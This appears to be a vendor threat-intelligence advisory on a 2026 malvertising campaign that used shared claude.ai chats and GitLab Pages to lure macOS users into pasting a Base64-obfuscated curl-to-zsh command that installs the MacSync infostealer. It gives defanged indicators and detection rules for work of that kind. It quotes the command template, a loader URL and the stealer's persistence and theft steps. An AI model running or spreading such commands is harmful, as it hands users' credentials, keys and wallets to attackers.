# ClickFix Google Ads malvertising abuses claude.ai shared chats and GitLab Pages to deliver MacSync infostealer

> A Google Ads malvertising campaign (Apr 8 - Jun 14, 2026) lured mainly technical macOS users with fake AI developer tool downloads (Claude, ChatGPT Codex, Perplexity, JetBrains). GitLab Pages and later claude.ai shared chats instructed victims to paste a Base64-obfuscated curl command into Terminal, installing the MacSync infostealer that steals browser credentials and cookies, Keychain data, SSH keys and crypto wallet files. Trend Micro reports over 2,000 victims and 106 malicious hostnames; no named actor.

- **Author:** Threadlinqs Team
- **Published:** 2026-12-04T08:29:33Z
- **Last updated:** 2026-12-04T08:29:33Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-7474
- **Card image:** https://intel.threadlinqs.com/og/threat/TL-2026-7474.png
- **ID:** TL-2026-7474
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 (1 shown free below) · **IOCs:** 27 (3 shown free below)

## Description

Trend Micro (TrendAI Research) tracked a malvertising campaign between April 8 and June 14, 2026 in which Google Ads for AI developer tools redirected victims to ClickFix lure pages. Early waves (1-4) used GitLab Pages subdomains (92 unique gitlab.io hostnames, e.g. claude-code-app.gitlab.io, claude-desktop-lm.gitlab.io, cladesktop.gitlab.io, claudecode-desktop.gitlab.io, plus Mac utility lures such as mac-clean-storage.gitlab.io) impersonating Claude, ChatGPT Codex, Perplexity, Cursor and JetBrains. From Wave 5 (May 6) the operators shifted to publicly shared claude.ai conversations (claude.ai/share/<uuid>), reached via Google Ads with gclid/gbraid/gad_campaignid parameters, with titles such as 'Running Claude Code on Mac' and 'Clearing disk space on macOS' and a display name of 'Apple Support' or 'Corda Team'. Trend counted at least 45 unique share IDs in Wave 5 and 61 in Wave 6, and roughly 2,530 summed wave hits; about 82.8% of traffic targeted AI development tool searches. Anthropic banned the responsible accounts and disabled the shared chats after notification.

The lure tells the victim to open Terminal and paste a single curl command whose URL is Base64-encoded (curl -kfsSL $(echo '<base64>'|base64 -D)|zsh). In the Trend sample the decoded URL is https://loserrq0j1sha8.com/debug/loader.sh?build=a39427f9d5bfda11277f1a58c89b7c2d. The loader is a zsh script holding a further Base64 blob; it checks for a Russian keyboard layout / input method and, if found, sets IS_CIS=TRUE and exits without running the payload. Otherwise it fetches and runs MacSync, which harvests browser credentials and cookies, SSH keys and crypto wallet files and exfiltrates them to a second-stage host.

Related vendor reporting on the same MacSync/shared-chat technique (Zscaler, Huntress; different infrastructure and a later activity window of June 12-19, 2026 per Zscaler) gives deeper payload detail and is incorporated here for detection value. The stage-2 script downloads an AppleScript stealer from /dynamic?txd=<token> with a static api-key header and pipes it directly to osascript (no file on disk). The stealer requests Full Disk Access, adds a curl|zsh re-pull line to ~/.zshrc, shows a fake password prompt, steals Keychain Safe Storage keys, Chromium/Gecko browser stores, password-manager and wallet extensions, Telegram tdata, ~/.ssh, ~/.aws, ~/.kube and document files, stages them under /tmp/sync<random>, zips to /tmp/osalogging.zip and uploads in 10 MiB chunks by HTTP PUT to /gate. Huntress further documents a six-stage chain including a Mach-O RAT (WebSocket over TLS to 85.206.161.241:8443, AES-256-CBC messages, LaunchAgent persistence, fallback domain XOR 0xAA), a screen-capture helper, and trojanized Ledger Wallet, Ledger Live and Trezor Suite apps that show a fake recovery-phrase page. Zscaler noted Russian-language comments in the AppleScript; Trend attributes no actor, so attribution here is LOW confidence and unnamed.

Defender focus: the abuse of trusted domains (claude.ai, gitlab.io) defeats reputation-based filtering, the payload is polymorphic per victim token (hash detection is weak), and the key behavioral signals are Terminal commands containing base64 -D piped to zsh/curl after a browser session, osascript spawned from curl|zsh, writes to ~/.zshrc and ~/Library/LaunchAgents, and /tmp/osalogging.zip creation. Note an inconsistency in the Trend article: the text says six waves, the timeline figure caption says five.

## MITRE ATT&CK

- T1583.008 Acquire Infrastructure: Malvertising
- T1684.001 Impersonation
- T1204.004 User Execution: Malicious Copy and Paste
- T1059.004 Command and Scripting Interpreter: Unix Shell
- T1059.002 Command and Scripting Interpreter: AppleScript
- T1027 Obfuscated Files or Information
- T1140 Deobfuscate/Decode Files or Information
- T1614.001 System Location Discovery: System Language Discovery
- T1082 System Information Discovery
- T1543.001 Create or Modify System Process: Launch Agent
- T1555.001 Credentials from Password Stores: Keychain
- T1555.003 Credentials from Password Stores: Credentials from Web Browsers
- T1539 Steal Web Session Cookie
- T1056.002 Input Capture: GUI Input Capture
- T1005 Data from Local System
- T1560.001 Archive Collected Data: Archive via Utility
- T1113 Screen Capture
- T1071.001 Application Layer Protocol: Web Protocols
- T1573.002 Encrypted Channel: Asymmetric Cryptography
- T1657 Financial Theft

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**MacSync AppleScript Stealer Behaviours: osascript from Shell, Fake Password Prompt, Keychain Safe Storage Access, Archive Staging** (`TL-2026-7474-SPL-002`)

Correlates MacSync stage-3 AppleScript stealer behaviour on macOS within 15-minute windows per host and user: osascript spawned by zsh/bash/sh/curl (stealer piped to osascript with no file on disk), a fake password dialog (display dialog with hidden answer), 'security find-generic-password' reads of browser Safe Storage keys, 'dscl . authonly' password validation, creation of osalogging.zip, and curl|zsh lines appended to ~/.zshrc. Two or more distinct behaviours, or the osalogging.zip archive alone, raise the alert.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1059.002, T1056.002, T1555.001, T1555.003, T1539, T1560.001, T1546.004
- **Data sources:** crowdstrike_falcon_macos_process, index=edr sourcetype=crowdstrike:events:sensor, DeviceProcessEvents, macos process_creation
- **Severity:** critical
- **Confidence:** high

### Splunk SPL

````spl
index=edr sourcetype="crowdstrike:events:sensor" event_simpleName=ProcessRollup2 event_platform=Mac earliest=-24h
```MacSync stage-3 stealer behaviours scored per host and user in 15 minute windows```
| eval cmd=lower(CommandLine), img=lower(ImageFileName), parent=lower(ParentBaseFileName)
| eval f_osascript_from_shell=if(match(img,"/osascript$") AND match(parent,"^(zsh|bash|sh|curl)$"),1,0)
| eval f_fake_prompt=if(match(cmd,"display dialog.*hidden answer"),1,0)
| eval f_keychain=if(match(cmd,"security +find-generic-password.*(safe storage|chrome|brave|edge|firefox)"),1,0)
| eval f_pw_validate=if(match(cmd,"dscl +[.] +authonly"),1,0)
| eval f_archive=if(match(cmd,"(zip|ditto).*osalogging[.]zip"),1,0)
| eval f_zshrc=if(match(cmd,"curl.*>>.*[.]zshrc|>>.*[.]zshrc.*curl"),1,0)
| where f_osascript_from_shell+f_fake_prompt+f_keychain+f_pw_validate+f_archive+f_zshrc>0
| bin _time span=15m
| stats sum(f_osascript_from_shell) as osascript_from_shell sum(f_fake_prompt) as fake_prompt sum(f_keychain) as keychain sum(f_pw_validate) as pw_validate sum(f_archive) as archive sum(f_zshrc) as zshrc values(CommandLine) as command_lines by _time ComputerName UserName
| eval behaviors=if(osascript_from_shell>0,1,0)+if(fake_prompt>0,1,0)+if(keychain>0,1,0)+if(pw_validate>0,1,0)+if(archive>0,1,0)+if(zshrc>0,1,0)
| where behaviors>=2 OR archive>0
````

### Microsoft KQL

```kql
DeviceProcessEvents
| where Timestamp > ago(24h)
| extend cmd = tolower(ProcessCommandLine)
| extend F_OsascriptFromShell = (FileName =~ 'osascript' and InitiatingProcessFileName in~ ('zsh', 'bash', 'sh', 'curl'))
| extend F_FakePrompt = cmd matches regex @'display dialog.*hidden answer'
| extend F_Keychain = cmd matches regex @'security +find-generic-password.*(safe storage|chrome|brave|edge|firefox)'
| extend F_PwValidate = cmd matches regex @'dscl +[.] +authonly'
| extend F_Archive = cmd matches regex @'(zip|ditto).*osalogging[.]zip'
| extend F_ZshrcInject = cmd matches regex @'curl.*>>.*[.]zshrc|>>.*[.]zshrc.*curl'
| where F_OsascriptFromShell or F_FakePrompt or F_Keychain or F_PwValidate or F_Archive or F_ZshrcInject
| summarize Osascript = countif(F_OsascriptFromShell), Prompt = countif(F_FakePrompt), Keychain = countif(F_Keychain), PwValidate = countif(F_PwValidate), Archive = countif(F_Archive), Zshrc = countif(F_ZshrcInject), Commands = make_set(ProcessCommandLine, 10) by DeviceName, AccountName, TimeBin = bin(Timestamp, 15m)
| extend Behaviors = toint(Osascript > 0) + toint(Prompt > 0) + toint(Keychain > 0) + toint(PwValidate > 0) + toint(Archive > 0) + toint(Zshrc > 0)
| where Behaviors >= 2 or Archive > 0
```

### Sigma

```yaml
title: MacSync AppleScript Stealer Behaviours - Fake Password Prompt, Keychain Safe Storage Access, Archive Staging, zshrc Injection
id: e0d47a93-5b16-4c28-8a7f-9f3c1b6d2a52
status: experimental
description: Detects individual MacSync stage-3 stealer behaviours on macOS: osascript fake password dialog with hidden answer, security find-generic-password reads of browser Safe Storage keys, dscl authonly password validation, osalogging.zip staging, and curl|zsh lines appended to .zshrc (TL-2026-7474). Any single match is a high-signal lead; correlate multiple hits per host in the SIEM.
references:
    - https://www.zscaler.com/blogs/security-research/claudefix-shared-claude-chats-meet-clickfix
    - https://www.huntress.com/blog/macsync-stealer-rat-reverse-engineering
author: Threadlinqs Team
date: 2026/12/04
tags:
    - attack.execution
    - attack.t1059.002
    - attack.credential-access
    - attack.t1056.002
    - attack.t1555.001
    - attack.t1555.003
    - attack.t1539
    - attack.collection
    - attack.t1560.001
    - attack.persistence
    - attack.t1546.004
logsource:
    product: macos
    category: process_creation
detection:
    selection_prompt:
        Image|endswith: '/osascript'
        CommandLine|contains|all:
            - 'display dialog'
            - 'hidden answer'
    selection_keychain:
        Image|endswith: '/security'
        CommandLine|contains|all:
            - 'find-generic-password'
            - 'Safe Storage'
    selection_pwcheck:
        Image|endswith: '/dscl'
        CommandLine|contains: 'authonly'
    selection_archive:
        CommandLine|contains: 'osalogging.zip'
    selection_zshrc:
        CommandLine|contains|all:
            - 'curl'
            - '>>'
            - '.zshrc'
    condition: 1 of selection_*
falsepositives:
    - Legitimate scripts that prompt for a password with osascript display dialog hidden answer
    - Backup or credential-management tools that call security find-generic-password or dscl authonly
level: high
```

**Known false positives:**

- Enterprise tools or admin scripts that call security find-generic-password or dscl authonly for legitimate credential workflows
- Internal scripts that use osascript display dialog with hidden answer for password prompts

**Tuning notes:** The SPL and KQL forms require two distinct behaviours (or the osalogging.zip archive) per 15-minute window to cut noise; the Sigma form is per-event so score or correlate it in the SIEM. Exclude signed enterprise credential tools and your MDM agent by parent process. If your EDR does not capture stdin-fed osascript, rely on the keychain, archive and fake-prompt branches.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- ClickFix Lure Delivery: Ad-Driven claude.ai Shared Chats and GitLab Pages Impersonating AI Dev Tools (locked: unlock with TL Creds)
- MacSync Persistence: com.apple.<8hex> LaunchAgent Masquerade and Captured Password File (locked: unlock with TL Creds)
- MacSync Endpoint Network Callbacks to Known Staging, Exfiltration and Seed-Drop Domains (locked: unlock with TL Creds)
- MacSync Loader Stage: Script Fetch from Known Endpoints and Russian Keyboard-Layout Geofence Check (locked: unlock with TL Creds)
- MacSync Stealer Staging Artifacts: [indicator] and macsync Lock Directory (locked: unlock with TL Creds)
- MacSync Mach-O RAT C2: TLS WebSocket to [indicator]:8443 and Operator Panel IP (locked: unlock with TL Creds)
- MacSync ClickFix Terminal One-Liner: curl of Base64-Decoded URL Piped to Shell (locked: unlock with TL Creds)
- MacSync Staging and Exfiltration over HTTP: Known Hosts, /dynamic?txd= Fetch, HTTP PUT to /gate, Wallet Seed Drop (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (3 of 27)

Defanged, TLP:CLEAR.

- IP address: `85.206.161[.]241`
- Domain: `loserrq0j1sha8[.]com`
- URL: `hxxps://claude[.]ai/share/498818d9-1ddc-4fbb-9fa7-56dfb84840b0`

Full set of 27 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [Threat Actors Abuse claude.ai Shared Chat for ClickFix Malvertising Campaign (Trend Micro)](https://www.trendmicro.com/en_us/research/26/f/claudeai-shared-chat-abused-in-malvertising.html)
- [ClaudeFix: Shared Claude Chats Meet ClickFix (Zscaler ThreatLabz)](https://www.zscaler.com/blogs/security-research/claudefix-shared-claude-chats-meet-clickfix)
- [How a Google Search for Claude Led to MacSync (Huntress)](https://www.huntress.com/blog/fake-claude-macsync)
- [Fake Claude Install Guide Leads to MacSync Stealer and RAT: What We Pulled From the Attacker's Servers (Huntress)](https://www.huntress.com/blog/macsync-stealer-rat-reverse-engineering)
- [Fake Claude search results lure Mac users into ClickFix attack (Malwarebytes)](https://www.malwarebytes.com/blog/news/2026/05/fake-claude-search-results-lure-mac-users-into-clickfix-attack)
- [AI Platform URL Trust Weaponized in Malvertising (Cloud Security Alliance research note)](https://labs.cloudsecurityalliance.org/wp-content/uploads/2026/05/CSA_research_note_ai-platform-url-trust-weaponized-malvertising_20260512-csa-styled.pdf)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple and Gold in full, 2 calls a day on a free account): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-7474
